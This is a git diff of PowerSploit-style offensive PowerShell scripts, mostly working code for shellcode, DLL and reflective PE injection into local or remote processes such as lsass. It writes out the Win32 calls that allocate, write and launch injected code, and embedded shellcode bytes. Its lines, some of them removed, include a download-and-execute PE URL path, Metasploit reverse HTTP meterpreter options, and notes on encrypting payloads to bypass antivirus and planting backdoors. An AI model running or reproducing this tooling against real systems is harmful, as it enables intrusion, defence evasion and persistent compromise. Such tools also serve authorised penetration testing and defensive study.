- 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
- 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
- 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
- 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
- }
-
- if ( $PSBoundParameters['ProcessID'] )
- {
- # Inject shellcode into the specified process ID
- $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
- $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
- $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
- $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
- $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
- $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
- $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
- $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
- $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
- $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
- $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
- $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
- $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
-
- Write-Verbose "Injecting shellcode into PID: $ProcessId"
-
- if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
- "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
- {
- Inject-RemoteShellcode $ProcessId
- }
- }
- else
- {
- # Inject shellcode into the currently running PowerShell process
- $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
- $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
- $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
- $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
- $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
- $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
- $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
- $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
- $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
- $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
-
- Write-Verbose "Injecting shellcode into PowerShell"
-
- if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
- "Injecting shellcode into the running PowerShell process!" ) )
- {
- Inject-LocalShellcode
- }
- }
-}
diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1
index 2d2019d..369d606 100644
--- a/CodeExecution/Invoke-DllInjection.ps1
+++ b/CodeExecution/Invoke-DllInjection.ps1
@@ -224,12 +224,10 @@ http://www.exploit-monday.com
$PowerShell32bit = $False
}
- $OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
-
- switch ($OSArchitecture)
- {
- '32-bit' { $64bitOS = $False }
- '64-bit' { $64bitOS = $True }
+ if (${Env:ProgramFiles(x86)}) {
+ $64bitOS = $True
+ } else {
+ $64bitOS = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
@@ -315,9 +313,11 @@ http://www.exploit-monday.com
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
+ Start-Sleep -Seconds 2
+
# Extract just the filename from the provided path to the dll.
- $FileName = Split-Path $Dll -Leaf
- $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) }
+ $FileName = (Split-Path $Dll -Leaf).ToLower()
+ $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo)
{
diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1
index 4ca1b9d..990c4b1 100644
--- a/CodeExecution/Invoke-ReflectivePEInjection.ps1
+++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1
@@ -7,14 +7,12 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.
-
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.
-
2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
@@ -22,31 +20,17 @@ This is probably most useful for injecting backdoors in SYSTEM processes in Sess
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process.
-
-While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
-containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
-bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
-blog linked below (thanks to whitey).
-
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
+Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
-Version: 1.4
.DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
-.PARAMETER PEPath
-
-The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
-
-.PARAMETER PEUrl
-
-A URL containing a DLL/EXE to load and execute.
-
.PARAMETER PEBytes
A byte array containing a DLL/EXE to load and execute.
@@ -78,43 +62,41 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
loading in to a remote process.
-
-.EXAMPLE
-Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
-Note that the file name on the website can be any file extension.
-Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
+.PARAMETER DoNotZeroMZ
+Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
+
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
-Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
+$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
+Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers.
-Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
+$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
+Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
.EXAMPLE
Load DemoEXE and run it locally.
-Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
+$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
+Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
.EXAMPLE
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
-Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
+$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
+Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
.EXAMPLE
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
-Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
-
-.EXAMPLE
-
-Load a PE from a byte array.
-Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
+$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
+Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
.NOTES
GENERAL NOTES:
@@ -134,8 +116,6 @@ The script has 3 basic sets of functionality:
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
-
-
DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
@@ -173,26 +153,15 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl
.LINK
-Blog: http://clymb3r.wordpress.com/
-Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
+http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
-Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
-
#>
-[CmdletBinding(DefaultParameterSetName="WebFile")]
+[CmdletBinding()]
Param(
- [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
- [String]
- $PEPath,
-
- [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
- [Uri]
- $PEUrl,
-
- [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
+ [Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[Byte[]]
$PEBytes,
@@ -218,9 +187,11 @@ Param(
[String]
$ProcName,
- [Parameter(Position = 6)]
[Switch]
- $ForceASLR
+ $ForceASLR,
+
+ [Switch]
+ $DoNotZeroMZ
)
Set-StrictMode -Version 2
@@ -736,10 +707,13 @@ $RemoteScriptBlock = {
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
- $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
- $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
- $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
- $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
+ # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
+ if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
+ $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
+ $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
+ $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
+ $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
+ }
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
@@ -935,24 +909,12 @@ $RemoteScriptBlock = {
[IntPtr]
$StartAddress,
- [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
- [IntPtr]
- $EndAddress,
-
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
- [IntPtr]$FinalEndAddress = [IntPtr]::Zero
- if ($PsCmdlet.ParameterSetName -eq "Size")
- {
- [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
- }
- else
- {
- $FinalEndAddress = $EndAddress
- }
+ [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
$PEEndAddress = $PEInfo.EndAddress
@@ -2381,7 +2343,7 @@ $RemoteScriptBlock = {
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
- if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
+ if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
@@ -2440,7 +2402,7 @@ $RemoteScriptBlock = {
#ASLR check
[IntPtr]$LoadAddr = [IntPtr]::Zero
- $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
+ $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
if ((-not $ForceASLR) -and (-not $PESupportsASLR))
{
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
@@ -2900,18 +2862,6 @@ Function Main
Write-Verbose "PowerShell ProcessID: $PID"
- if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
- {
- Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
- [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
- }
- elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
- {
- $WebClient = New-Object System.Net.WebClient
-
- [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
- }
-
#Verify the image is a valid PE file
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
@@ -2920,10 +2870,12 @@ Function Main
throw 'PE is not a valid PE file.'
}
- # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
- # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
- $PEBytes[0] = 0
- $PEBytes[1] = 0
+ if (-not $DoNotZeroMZ) {
+ # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
+ # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
+ $PEBytes[0] = 0
+ $PEBytes[1] = 0
+ }
#Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
if ($ExeArgs -ne $null -and $ExeArgs -ne '')
diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1
index 6ca6def..2879558 100644
--- a/CodeExecution/Invoke-Shellcode.ps1
+++ b/CodeExecution/Invoke-Shellcode.ps1
@@ -1,12 +1,63 @@
-# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1.
-# This was done to make a point that you have no security sense
-# if you think it's okay to blindly download/exec code directly
-# from a GitHub repo you don't control. This will undoubedtly break
-# many scripts that have this path hardcoded. If you don't like it,
-# fork PowerSploit and host it yourself.
-
function Invoke-Shellcode
{
+<#
+.SYNOPSIS
+
+Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
+
+PowerSploit Function: Invoke-Shellcode
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
+
+PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
+
+msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
+
+Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
+
+.PARAMETER ProcessID
+
+Process ID of the process you want to inject shellcode into.
+
+.PARAMETER Shellcode
+
+Specifies an optional shellcode passed in as a byte array
+
+.PARAMETER Force
+
+Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode -ProcessId 4274
+
+Description
+-----------
+Inject shellcode into process ID 4274.
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode
+
+Description
+-----------
+Inject shellcode into the running instance of PowerShell.
+
+.EXAMPLE
+
+C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
+
+Description
+-----------
+Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
+Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
+#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
@@ -18,37 +69,445 @@ function Invoke-Shellcode
[Byte[]]
$Shellcode,
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateSet( 'windows/meterpreter/reverse_http',
- 'windows/meterpreter/reverse_https',
- IgnoreCase = $True )]
- [String]
- $Payload = 'windows/meterpreter/reverse_http',
-
- [Parameter( ParameterSetName = 'ListPayloads' )]
- [Switch]
- $ListMetasploitPayloads,
-
- [Parameter( Mandatory = $True,
- ParameterSetName = 'Metasploit' )]
- [ValidateNotNullOrEmpty()]
- [String]
- $Lhost = '127.0.0.1',
-
- [Parameter( Mandatory = $True,
- ParameterSetName = 'Metasploit' )]
- [ValidateRange( 1,65535 )]
- [Int]
- $Lport = 8443,
-
- [Parameter( ParameterSetName = 'Metasploit' )]
- [ValidateNotNull()]
- [String]
- $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
-
[Switch]
$Force = $False
)
-throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.'
+ Set-StrictMode -Version 2.0
+
+ if ( $PSBoundParameters['ProcessID'] )
+ {
+ # Ensure a valid process ID was provided
+ # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
+ Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
+ }
+
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
+ function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
+ {
+ $IntSizePtr = $Architecture / 8
+
+ function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
+ {
+ $LittleEndianByteArray = New-Object Byte[](0)
+ $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
+ [System.Array]::Reverse($LittleEndianByteArray)
+
+ Write-Output $LittleEndianByteArray
+ }
+
+ $CallStub = New-Object Byte[](0)
+
+ if ($IntSizePtr -eq 8)
+ {
+ [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
+ $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
+ $CallStub += 0xFF,0xD0 # CALL RAX
+ $CallStub += 0x6A,0x00 # PUSH BYTE 0
+ $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
+ $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
+ $CallStub += 0xFF,0xD0 # CALL RAX
+ }
+ else
+ {
+ [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
+ $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
+ $CallStub += 0xFF,0xD0 # CALL EAX
+ $CallStub += 0x6A,0x00 # PUSH BYTE 0
+ $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
+ $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
+ $CallStub += 0xFF,0xD0 # CALL EAX
+ }
+
+ Write-Output $CallStub
+ }
+
+ function Local:Inject-RemoteShellcode ([Int] $ProcessID)
+ {
+ # Open a handle to the process you want to inject into
+ $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
+
+ if (!$hProcess)
+ {
+ Throw "Unable to open a process handle for PID: $ProcessID"
+ }
+
+ $IsWow64 = $false
+
+ if ($64bitOS) # Only perform theses checks if CPU is 64-bit
+ {
+ # Determine if the process specified is 32 or 64 bit
+ $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
+
+ if ((!$IsWow64) -and $PowerShell32bit)
+ {
+ Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
+ }
+ elseif ($IsWow64) # 32-bit Wow64 process
+ {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ }
+
+ $Shellcode = $Shellcode32
+ Write-Verbose 'Injecting into a Wow64 process.'
+ Write-Verbose 'Using 32-bit shellcode.'
+ }
+ else # 64-bit process
+ {
+ if ($Shellcode64.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode64 variable!'
+ }
+
+ $Shellcode = $Shellcode64
+ Write-Verbose 'Using 64-bit shellcode.'
+ }
+ }
+ else # 32-bit CPU
+ {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ }
+
+ $Shellcode = $Shellcode32
+ Write-Verbose 'Using 32-bit shellcode.'
+ }
+
+ # Reserve and commit enough memory in remote process to hold the shellcode
+ $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
+
+ if (!$RemoteMemAddr)
+ {
+ Throw "Unable to allocate shellcode memory in PID: $ProcessID"
+ }
+
+ Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Copy shellcode into the previously allocated memory
+ $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
+
+ # Get address of ExitThread function
+ $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
+
+ if ($IsWow64)
+ {
+ # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
+ $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
+
+ Write-Verbose 'Emitting 32-bit assembly call stub.'
+ }
+ else
+ {
+ # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
+ $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
+
+ Write-Verbose 'Emitting 64-bit assembly call stub.'
+ }
+
+ # Allocate inline assembly stub
+ $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
+
+ if (!$RemoteStubAddr)
+ {
+ Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
+ }
+
+ Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Write 32-bit assembly stub to remote process memory space
+ $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
+
+ # Execute shellcode as a remote thread
+ $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
+
+ if (!$ThreadHandle)
+ {
+ Throw "Unable to launch remote thread in PID: $ProcessID"
+ }
+
+ # Close process handle
+ $CloseHandle.Invoke($hProcess) | Out-Null
+
+ Write-Verbose 'Shellcode injection complete!'
+ }
+
+ function Local:Inject-LocalShellcode
+ {
+ if ($PowerShell32bit) {
+ if ($Shellcode32.Length -eq 0)
+ {
+ Throw 'No shellcode was placed in the $Shellcode32 variable!'
+ return
+ }
+
+ $Shellcode = $Shellcode32
